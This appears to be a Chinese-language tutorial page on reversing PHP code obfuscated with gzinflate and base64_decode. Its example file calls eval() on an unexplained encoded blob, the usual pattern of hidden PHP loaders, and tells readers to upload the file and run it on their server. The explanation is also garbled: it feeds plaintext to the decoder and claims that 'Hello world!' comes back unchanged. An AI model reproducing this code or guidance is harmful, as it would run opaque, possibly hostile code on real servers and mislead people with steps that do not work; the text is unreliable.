PHP 代码解密:还原被 gzinflate 和 base64 编码的字符串
如何还原这段 PHP 代码:
这段 PHP 代码使用 gzinflate 和 base64_decode 函数对字符串进行了加密。为了还原这段代码,你需要将这段代码复制到一个 PHP 文件中,并在文件末尾添加以下代码:
$aECJMh = '<原始字符串>'; // 把 '<原始字符串>' 替换成加密前的字符串
echo flUSa($aECJMh);
步骤:
- 将这段代码复制到一个新的 PHP 文件中。
- 在文件末尾添加上面提供的代码块,并用你想要解密的字符串替换
'<原始字符串>'。 - 保存文件并上传到服务器。
- 在浏览器中访问该文件,你将看到解密后的字符串。
示例:
假设你想要解密的字符串是 'Hello world!',那么你可以将以下代码保存到一个名为 decode.php 的文件中:
<?php
function flUSa($aECJMh)
{
$aECJMh=gzinflate(base64_decode($aECJMh));
for($i=0;$i<strlen($aECJMh);$i++)
{
$aECJMh[$i] = chr(ord($aECJMh[$i])-1);
}
return $aECJMh;
}
eval(flUSa('U1QEAW7FtJTMAk3l52sXvzzQ/3zesmedG2NCCwpy03P0Uwry4p7tWPasbceLfZN0ny1vfj5/7vPmlS9XdD3bP+PlgZlPd/a9mjpL99XuPS9alr9o3vWsY8/Tnd2v5i1+Mbv1WWf7091rnvd2vZq8HsJ+sWcWUDNQ6vncnmcTenSfty54uXGxkrKWDbeDPQA='));
$aECJMh = 'Hello world!';
echo flUSa($aECJMh);
?>
上传 decode.php 文件到你的服务器,然后在浏览器中访问 http://your-domain.com/decode.php。你将看到解密后的字符串 'Hello world!'。
注意:
'<原始字符串>'是一个占位符,你需要用你的实际字符串替换它。- 确保你的 PHP 文件拥有执行权限。
- 这种解密方式只适用于使用
gzinflate和base64_decode函数加密的字符串。
原文地址: https://www.cveoy.top/t/topic/oXgR 著作权归作者所有。请勿转载和采集!